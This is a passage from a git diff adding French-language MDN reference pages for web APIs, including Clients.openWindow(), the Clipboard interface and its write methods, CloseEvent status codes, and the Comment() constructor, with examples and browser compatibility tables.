+ <dd>Une  <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" title="The Promise object is used for deferred and asynchronous computations. A Promise is in one of the three states:">Promesse</a></code> qui se résout avec un tableau d'objets {{domxref("Client")}}.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">clients.matchAll(options).then(function(clientList) {
+  for(var i = 0 ; i &lt; clients.length ; i++) {
+    if(clientList[i].url === 'index.html') {
+      clients.openWindow(clientList[i]);
+      // ou faire quelque chose avec le client
+    }
+  }
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#clients', 'Clients')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatChrome(40.0)}}<sup>[1]</sup></td>
+   <td>{{ CompatGeckoDesktop("44.0") }}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(40.0)}}<sup>[1]</sup></td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<ul>
+ <li><strong>[1]:</strong> L'option <code>includeUncontrolled</code> option n'est pas supportée avant Chrome {{CompatChrome(43.0)}}.</li>
+ <li><strong>[1]:</strong> L'option <code>includeUncontrolled</code> option n'est pas supportée avant Firefox {{CompatGeckoDesktop("45.0")}}.</li>
+</ul>
diff --git a/files/fr/web/api/clients/openwindow/index.html b/files/fr/web/api/clients/openwindow/index.html
new file mode 100644
index 0000000000..906953237a
--- /dev/null
+++ b/files/fr/web/api/clients/openwindow/index.html
@@ -0,0 +1,131 @@
+---
+title: Clients.openWindow()
+slug: Web/API/Clients/openWindow
+translation_of: Web/API/Clients/openWindow
+---
+<p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p>
+
+<p>La méthode <strong><code>openWindow()</code></strong> de l'interface {{domxref("Clients")}} crée un nouveau niveau de contexte de navigation et charge une URL donnée. Si le script d'origine n'a pas la permission d'ouvrir une popup,   <strong><code>openWindow()</code></strong> lèvera une InvalidAccessError.</p>
+
+<p>Dans Firefox, une méthode est authorisée d'ouvrir une popup seulement lorsqu'elle est appelée à la suite d'un click sur une notification.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">ServiceWorkerClients.openWindow(url).then(function(WindowClient) {
+  // Faire quelque chose avec le WindowClient
+});</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd>Une {{domxref("USVString")}} représentant l'URL que le client veut ouvrir dans une nouvelle fenêtre. Généralement, cette valeur doit être une URL de la même  origine que le script d'origine.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<dl>
+ <dd>Une {{jsxref("Promise")}} qui résoud un objet {{domxref("WindowClient")}} si l'URL est de la même origine que le service worker, et {{Glossary("null", "null value")}} sinon.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">// Quand l'utilisateur click sur une notification, focus sur la fenêtre si elle existe,
+// ou ouvre en une autre.
+onotificationclick = function(event) {
+  var found = false;
+  clients.matchAll().then(function(clients) {
+    for (i = 0; i &lt; clients.length; i++) {
+      if (clients[i].url === event.data.url) {
+        // La fenêtre existe, focus dessus.
+        found = true;
+        clients[i].focus();
+        break;
+      }
+    }
+    if (!found) {
+      // Crée une nouvelle fenêtre
+      clients.openWindow(event.data.url).then(function(windowClient) {
+        // Faire quelque chose avec le WindowClient
+      });
+    }
+  });
+};
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#clients', 'Clients')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatChrome(42.0)}} [1]</td>
+   <td>{{ CompatGeckoDesktop("45.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("45.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(40.0)}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<ul>
+ <li>[1] Avec Chrome 43 et suivant, vous pouvez ouvrir n'importe quelle URL. In Chrome 42 you could only open URLs on the same origin.</li>
+</ul>
diff --git a/files/fr/web/api/clipboard/index.html b/files/fr/web/api/clipboard/index.html
new file mode 100644
index 0000000000..21299dbae3
--- /dev/null
+++ b/files/fr/web/api/clipboard/index.html
@@ -0,0 +1,83 @@
+---
+title: Clipboard
+slug: Web/API/Clipboard
+tags:
+  - API
+  - Clip
+  - Clipboard
+  - Clipboard API
+  - Editing
+  - Interface
+  - Pasteboard
+  - Presse-papiers
+  - Reference
+translation_of: Web/API/Clipboard
+---
+<p>{{APIRef("Clipboard API")}}</p>
+
+<div class="blockIndicator note">
+<p>Le <strong>presse-papiers</strong> est un tampon de données utilisé pour le stockage ou le transfert à court terme de données, éventuellement entre documents ou applications.<br>
+ Il est généralement mis en œuvre sous la forme d’une {{interwiki("wikipedia", "Mémoire_tampon", "mémoire tampon")}} temporaire, parfois appelée « tampon de collage », qui peut être accédé par la plupart ou tous les programmes de l’environnement via des {{interwiki("wikipedia", "Interface_de_programmation", "interfaces de programmation")}} définies.</p>
+
+<p>Une application typique accède aux fonctionnalités du presse-papiers en associant des {{interwiki("wikipedia", "Entr%C3%A9es-sorties", "entrées utilisateur")}} telles que des {{interwiki("wikipedia", "Raccourci_clavier", "raccourcis clavier")}}, des éléments de {{interwiki("wikipedia", "Menu_(informatique)", "menus")}}, etc. à ces interfaces.</p>
+</div>
+
+<p><span class="seoSummary">L’interface <strong><code>Clipboard</code></strong> implémente l’<a href="/en-US/docs/Web/API/Clipboard_API">API clipboard</a>, qui fournit — si l’utilisateur ou l’utilisatrice accorde sa permission — un accès en lecture et en écriture au contenu du presse-papiers du système.</span> L’API clipboard peut être utilisée pour implémenter les fonctionnalités couper, copier et coller dans une application web.</p>
+
+<p>Le presse-papiers du système est exposé via la propriété globale {{domxref("Navigator.clipboard")}}.</p>
+
+<p>Les appels aux méthodes de l’objet <code>Clipboard</code> échoueront si l’utilisateur ou l’utilisatrice n’a pas accordé les permissions requises en utilisant l’<a href="/docs/Web/API/Permissions_API">API permissions</a>, et la permission <code>"clipboard-read"</code> ou <code>"clipboard-write"</code> selon le besoin.</p>
+
+<div class="note">
+<p><strong>Note :</strong> En réalité, actuellement, les prérequis des navigateurs pour accéder au presse-papiers varient significativement. Veuillez consulter la section {{anch("Clipboard availability")}} pour plus de détails.</p>
+</div>
+
+<p>Toutes les méthodes de l’API clipboard fonctionnent de manière asynchrone ; elles renvoient une {{jsxref("Promise")}} qui est résolue une fois que l’accès au presse-papiers a réussi. La promesse est rejetée si l’accès au presse-papiers est refusé.</p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em><code>Clipboard</code> est basé sur l’interface {{domxref("EventTarget")}}, et inclut les méthodes de celle-ci.</em></p>
+
+<dl>
+ <dt>{{domxref("Clipboard.read()","read()")}}</dt>
+ <dd>Demande des données arbitraires (telles que des images) depuis le presse-papiers, et renvoie une {{jsxref("Promise")}}. Quand les données ont été obtenues, la promesse est résolue avec un objet {{domxref("DataTransfer")}} qui fournit les données.</dd>
+ <dt>{{domxref("Clipboard.readText()","readText()")}}</dt>
+ <dd>Demande du texte depuis le presse-papiers du système ; renvoie une <code>Promise</code> qui est résolue avec une {{domxref("DOMString")}} contenant le texte du presse-papiers une fois disponible.</dd>
+ <dt>{{domxref("Clipboard.write()","write()")}}</dt>
+ <dd>Écrit des données arbitraires dans le presse-papiers du système. Cette opération asynchrone signale quand elle a terminé en résolvant la <code>Promise</code> renvoyée.</dd>
+ <dt>{{domxref("Clipboard.writeText()","writeText()")}}</dt>
+ <dd>Écrit du texte dans le presse-papiers du système, renvoyant une <code>Promise</code> qui est résolue une fois que le texte est entièrement copié dans le presse-papiers.</dd>
+</dl>
+
+<h2 id="Disponibilité_du_presse-papiers">Disponibilité du presse-papiers</h2>
+
+<p>L’API clipboard asynchrone est une addition relativement récente, et son processus de mise en œuvre dans les navigateurs n’est pas encore terminé. En raison de questions de sécurité et de complexités techniques, l’intégration de cette API se fait progressivement dans la plupart des navigateurs.</p>
+
+<p>Par exemple, Firefox ne supporte pas encore les permissions <code>"clipboard-read"</code> et <code>"clipboard-write"</code>, et l’accès aux méthodes pour lire et modifier le contenu du presse-papiers sont restreintes d’autres façons.</p>
+
+<p>Pour les WebExtensions, vous pouvez demander les permissions <code>"clipboardRead"</code> et <code>"clipboardWrite"</code> afin de pouvoir utiliser <code>clipboard.readText()</code> et <code>clipboard.writeText()</code>. Les {{Glossary("Content Script", "scripts de contenu")}} appliqués à des sites HTTP n’ont pas accès à l’objet <code>Clipboard</code>. Voir <a class="external" href="https://blog.mozilla.org/addons/2018/08/31/extensions-in-firefox-63/" lang="en-US">extensions in Firefox 63</a>.</p>
+
+<p>De plus, {{domxref("Clipboard.read", "read()")}} et {{domxref("Clipboard.write", "write()")}} sont désactivées par défaut et requièrent de changer une préférence pour les activer. Consultez les tables de compatibilité de chaque méthode avant de les utiliser.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Clipboard API','#clipboard-interface','Clipboard')}}</td>
+   <td>{{Spec2('Clipboard API')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">La table de compatibilité sur cette page est générée à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request.</em></div>
+
+<p>{{Compat("api.Clipboard")}}</p>
diff --git a/files/fr/web/api/clipboard/write/index.html b/files/fr/web/api/clipboard/write/index.html
new file mode 100644
index 0000000000..c7b8435565
--- /dev/null
+++ b/files/fr/web/api/clipboard/write/index.html
@@ -0,0 +1,70 @@
+---
+title: Clipboard.write()
+slug: Web/API/Clipboard/write
+translation_of: Web/API/Clipboard/write
+---
+<div>{{APIRef("Clipboard API")}}</div>
+
+<p><span class="seoSummary">La methode <strong><code>write()</code></strong> de {{domxref("Clipboard")}} écrie des données arbitraire, comme des images, vers le presse-papier.</span> Elle peut être utilisé pour implémenter une fonctionalité de copier coller.</p>
+
+<p>Avant de pouvoir écrire dans le presse-papier, vous devez utiliser <a href="/en-US/docs/Web/API/Permissions_API">Permissions API</a> pour avoir l'autorisation <code>"clipboard-write"</code>.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Browser support for the asynchronous clipboard APIs is still in the process of being implemented. Be sure to check the {{anch("Browser compatibility", "compatibility table")}} as well as {{SectionOnPage("/en-US/docs/Web/API/Clipboard", "Clipboard availability")}} for more information.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>promise</em> = navigator.clipboard.write(<em>dataTransfer</em>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>dataTransfer</code></dt>
+ <dd>Un objet {{domxref("DataTransfer")}} contenant les données à écrire dans le presse-papier.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>Une {{jsxref("Promise")}} qui sera résolut quand les données seront écrite dans le presse papier. Cette promesse est rejetée si l'accés au presse-papier échoue.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Cette fonction d'exemple remplace l'actuel contenut du presse-papier par le texte spécifié en paramètre.</p>
+
+<pre class="brush: js">function setClipboard(text) {
+  let data = new DataTransfer();
+
+  data.items.add(text, "text/plain");
+  navigator.clipboard.write(data).then(function() {
+    /* success */
+  }, function() {
+    /* failure */
+  });
+}
+</pre>
+
+<p>Le code commence par la creation d'un nouveau objet {{domxref("DataTransfer")}} dans lequel le texte est placé pour être envoyé au presse-papier. {{domxref("DataTransferItemList.add()")}} est appelé pour ajouté le texte à<code>DataTransfer</code>, ensuite <code>write()</code> est appelé, en spécifiant une function d'accomplissement et une fonction d'erreur.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Clipboard API','#h-clipboard-write-data','write()')}}</td>
+   <td>{{Spec2('Clipboard API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Clipboard.write")}}</p>
diff --git a/files/fr/web/api/clipboard/writetext/index.html b/files/fr/web/api/clipboard/writetext/index.html
new file mode 100644
index 0000000000..1237db947b
--- /dev/null
+++ b/files/fr/web/api/clipboard/writetext/index.html
@@ -0,0 +1,61 @@
+---
+title: Clipboard.writeText()
+slug: Web/API/Clipboard/writeText
+translation_of: Web/API/Clipboard/writeText
+---
+<div>{{APIRef("Clipboard API")}}</div>
+
+<p>La méthode <strong><code>writeText()</code></strong> de l’interface {{domxref("Clipboard")}} écrit le texte spécifié dans le presse-papiers du système.</p>
+
+<div class="note">
+<p><strong>Note :</strong> La spécification requiert que l’<a href="/en-US/docs/Web/API/Permissions_API">API Permissions</a> soit utilisée pour obtenir la permission <code>"clipboardWrite"</code> avant d’écrire dans le presse-papiers. Cependant, les prérequis exacts varient de navigateur en navigateur, car c’est une API récente. Consultez la {{anch("Browser compatibility", "table de compatibilité")}} et {{SectionOnPage("/docs/Web/API/Clipboard", "Clipboard availability")}} pour plus de détails.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>promesse</em> = navigator.clipboard.writeText(<em>nouveauTexte</em>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>nouveauTexte</code></dt>
+ <dd>La {{domxref("DOMString")}} devant être écrite dans le presse-papiers.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une {{jsxref("Promise")}} qui sera résolue une fois que le contenu du presse-papiers aura été mis à jour. La promesse est rejetée si le code appelant n’a pas la permission d’écrire dans le presse-papiers.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Cet exemple définit le contenu du presse-papiers comme la chaîne "&lt;presse-papiers vide&gt;".</p>
+
+<pre class="brush: js">navigator.clipboard.writeText("&lt;presse-papiers vide&gt;").then(function() {
+  /* presse-papiers modifié avec succès */
+}, function() {
+  /* échec de l’écriture dans le presse-papiers */
+});
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Clipboard API','#h-clipboard-writetext-data','writeText()')}}</td>
+   <td>{{Spec2('Clipboard API')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">La page de compatibilité sur cette page est générée à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request.</em></div>
+
+<p>{{Compat("api.Clipboard.writeText")}}</p>
diff --git a/files/fr/web/api/closeevent/index.html b/files/fr/web/api/closeevent/index.html
new file mode 100644
index 0000000000..40c525e52b
--- /dev/null
+++ b/files/fr/web/api/closeevent/index.html
@@ -0,0 +1,230 @@
+---
+title: CloseEvent
+slug: Web/API/CloseEvent
+tags:
+  - API
+  - Interface
+  - Reference
+  - Web
+  - WebSocket
+translation_of: Web/API/CloseEvent
+---
+<p>{{APIRef("Websockets API")}}</p>
+
+<p>Un événement CloseEvent est envoyé au client utilisant une <a href="/en-US/docs/Glossary/WebSockets">WebSocket </a>lorsque la connexion est fermée. Cet événement est envoyé au listener indiqué par l'attribut <code>onclose </code>de la WebSocket.</p>
+
+<h2 id="Attributes" name="Attributes">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("CloseEvent.CloseEvent", "CloseEvent()")}}</dt>
+ <dd>Construit un nouvel événement <code>CloseEvent</code>.</dd>
+</dl>
+
+<h2 id="Attributes" name="Attributes">Propriétés</h2>
+
+<p><em>Cette interface hérite également des propriétés de sa mère, {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("CloseEvent.code")}} {{readOnlyInline}}</dt>
+ <dd>Retourne un <code>unsigned short</code> contenant le code de fermeture envoyé par le serveur. Les valeurs possibles sont données ci-dessous.
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td class="header">Status code</td>
+    <td class="header">Nom</td>
+    <td class="header">Description</td>
+   </tr>
+   <tr>
+    <td><code>0</code>–<code>999</code></td>
+    <td> </td>
+    <td><strong>Reservé et inutilisé.</strong></td>
+   </tr>
+   <tr>
+    <td><code>1000</code></td>
+    <td><code>CLOSE_NORMAL</code></td>
+    <td>Fermeture normale ; la connexion s'est terminée normalement.</td>
+   </tr>
+   <tr>
+    <td><code>1001</code></td>
+    <td><code>CLOSE_GOING_AWAY</code></td>
+    <td>
+     <p>Reçu lorsque une erreur est apparue sur le serveur ou le navigateur quitte la page ayant ouvert la connexion.</p>
+    </td>
+   </tr>
+   <tr>
+    <td><code>1002</code></td>
+    <td><code>CLOSE_PROTOCOL_ERROR</code></td>
+    <td>L'autre partie de la connexion terminte la connexion à cause d'une erreur de protocole.</td>
+   </tr>
+   <tr>
+    <td><code>1003</code></td>
+    <td><code>CLOSE_UNSUPPORTED</code></td>
+    <td>La connexion est terminée car le serveur à reçu des données d'un type qu'il ne peut pas accepter (par exemple des données binaire plutôt que du texte).</td>
+   </tr>
+   <tr>
+    <td><code>1004</code></td>
+    <td> </td>
+    <td><strong>Réservé.</strong> Une utilisation pourrait être définie dans le futur.</td>
+   </tr>
+   <tr>
+    <td><code>1005</code></td>
+    <td><code>CLOSE_NO_STATUS</code></td>
+    <td><strong>Réservé.</strong> Indique qu'aucun code n'est donné bien qu'un code était attendu.</td>
+   </tr>
+   <tr>
+    <td><code>1006</code></td>
+    <td><code>CLOSE_ABNORMAL</code></td>
+    <td><strong>Réservé.</strong> Utilisé pour indiquer que la connexion a été terminée anormalement (sans paquet indiquant la fermeture).</td>
+   </tr>
+   <tr>
+    <td><code>1007</code></td>
+    <td> </td>
+    <td>Le serveur termine la connexion car un message contenant des données incohérentes a été reçu (e.g., des données qui ne sont pas au format UTF-8 dans un message texte).</td>
+   </tr>
+   <tr>
+    <td><code>1008</code></td>
+    <td> </td>
+    <td>Le serveur termine la connexion car un message ne respectant pas la politique du serveur est reçu. C'est un code d'état générique qui est utilisé lorsque les codes 1003 et 1009 ne correspondent pas à la situation.</td>
+   </tr>
+   <tr>
+    <td><code>1009</code></td>
+    <td><code>CLOSE_TOO_LARGE</code></td>
+    <td>Le serveur termine la connexion car les données reçues sont trop grosses.</td>
+   </tr>
+   <tr>
+    <td><code>1010</code></td>
+    <td> </td>
+    <td>Le client termine la connexion car il souhaitait négocier une ou plusieurs extensions mais le serveur ne l'a pas fait.</td>
+   </tr>
+   <tr>
+    <td><code>1011</code></td>
+    <td> </td>
+    <td>Le serveur termine la connexion car il a rencontré un problème qui l'empêche de traiter la requête.</td>
+   </tr>
+   <tr>
+    <td>–<code>1014</code></td>
+    <td> </td>
+    <td><strong>Réservé pour une utilisation future par le standard WebSocket.</strong></td>
+   </tr>
+   <tr>
+    <td><code>1015</code></td>
+    <td> </td>
+    <td><strong>Réservé.</strong> Indique que la connexion a été fermée à cause d'une erreur durant le handshake TLS (e.g., le certificat du serveur ne peut pas être vérifié).</td>
+   </tr>
+   <tr>
+    <td><code>1016</code>–<code>1999</code></td>
+    <td> </td>
+    <td><strong>Réservé pour une utilisation future par le standard WebSocket.</strong></td>
+   </tr>
+   <tr>
+    <td><code>2000</code>–<code>2999</code></td>
+    <td> </td>
+    <td><strong>Réservé pour une utilisation future par le standard WebSocket.</strong></td>
+   </tr>
+   <tr>
+    <td><code>3000</code>–<code>3999</code></td>
+    <td> </td>
+    <td>Disponible pour être utilisé par des bibliothèques ou des frameworks. Ces codes <strong>ne doivent pas</strong> être utilisés par des applications.</td>
+   </tr>
+   <tr>
+    <td><code>4000</code>–<code>4999</code></td>
+    <td> </td>
+    <td>Disponible pour être utilisés par des applications.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt>{{domxref("CloseEvent.reason")}} {{readOnlyInline}}</dt>
+ <dd>Retourne un {{ domxref("DOMString") }} qui indique la raison pour laquelle le serveur a fermé la connexion. Ce message est spécifique au serveur et au sous-protocole utilisé.</dd>
+ <dt>{{domxref("CloseEvent.wasClean")}} {{readOnlyInline}}</dt>
+ <dd>Retourne un {{jsxref("Boolean")}} qui indique si la connexion a été correctement fermée ou non.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cette interface hérite également des propriétés de sa mère, {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("CloseEvent.initCloseEvent()")}} {{Non-standard_inline}} {{Obsolete_inline}}</dt>
+ <dd>Initialise la valeur d'un <code>CloseEvent</code>. Si l'événement a déjà été envoyé, cette méthode ne fait rien.</dd>
+</dl>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("8.0") }} [1][2]</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>initCloseEvent</code><code>()</code> {{Non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoDesktop("8.0") }}<br>
+    Removed in {{CompatGeckoDesktop("41") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("8.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>initCloseEvent</code><code>()</code> {{Non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("8.0") }}<br>
+    Removed in {{CompatGeckoMobile("41") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Avant Gecko 8.0 {{ geckoRelease("8.0") }}, Gecko envoyait l'événement {{event("close")}} des WebSocket au listener en tant que simple événement. Le support de l'événement <code>CloseEvent</code> a été implémenté dans Gecko 8.0.</p>
+
+<p>[2] Avant Gecko 12.0 {{ geckoRelease("12.0") }}, Gecko envoyait le code de fermeture <code>CLOSE_NORMAL</code> quand la connexion était fermée à cause d'une erreur inconnue, ou si elle était fermée à cause d'une erreur que la spécification ne couvre pas. Maintenant, <code>CLOSE_GOING_AWAY</code> est envoyé à la place.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en/WebSockets/WebSockets_reference/WebSocket" title="en/WebSockets/WebSockets reference/WebSocket"><code>WebSocket</code></a></li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/api/comment/comment/index.html b/files/fr/web/api/comment/comment/index.html
new file mode 100644
index 0000000000..3813e32b8e
--- /dev/null
+++ b/files/fr/web/api/comment/comment/index.html
@@ -0,0 +1,53 @@
+---
+title: Comment()
+slug: Web/API/Comment/Comment
+tags:
+  - API
+  - Commentaires
+  - DOM
+translation_of: Web/API/Comment/Comment
+---
+<p>{{ApiRef("DOM")}}{{seeCompatTable}}</p>
+
+<p>Le constructeur <code><strong>Comment()</strong></code> renvoie un objet {{domxref("Comment")}} <em>(Commentaire)</em> nouvellement créé avec le {{domxref ("DOMString")}} donné en paramètre comme contenu textuel.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>comment</em>1 = new Comment(); // Create an empty comment
+<code><em>comment2</em></code> = new Comment("This is a comment");
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js  language-js"><code class="language-js">var comment <span class="operator token">=</span> new Comment<span class="function token"><span class="punctuation token">("Test"</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#comment', 'Comment.Comment()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Comment.Comment")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model" title="/en-US/docs/DOM/DOM_Reference">The DOM interfaces index</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/api/comment/index.html b/files/fr/web/api/comment/index.html
new file mode 100644
index 0000000000..cc768f6e79
--- /dev/null
+++ b/files/fr/web/api/comment/index.html
@@ -0,0 +1,76 @@
+---
+title: Comment
+slug: Web/API/Comment
+tags:
+  - API
+  - DOM
+translation_of: Web/API/Comment
+---
+<p>{{ ApiRef("DOM") }}</p>
+
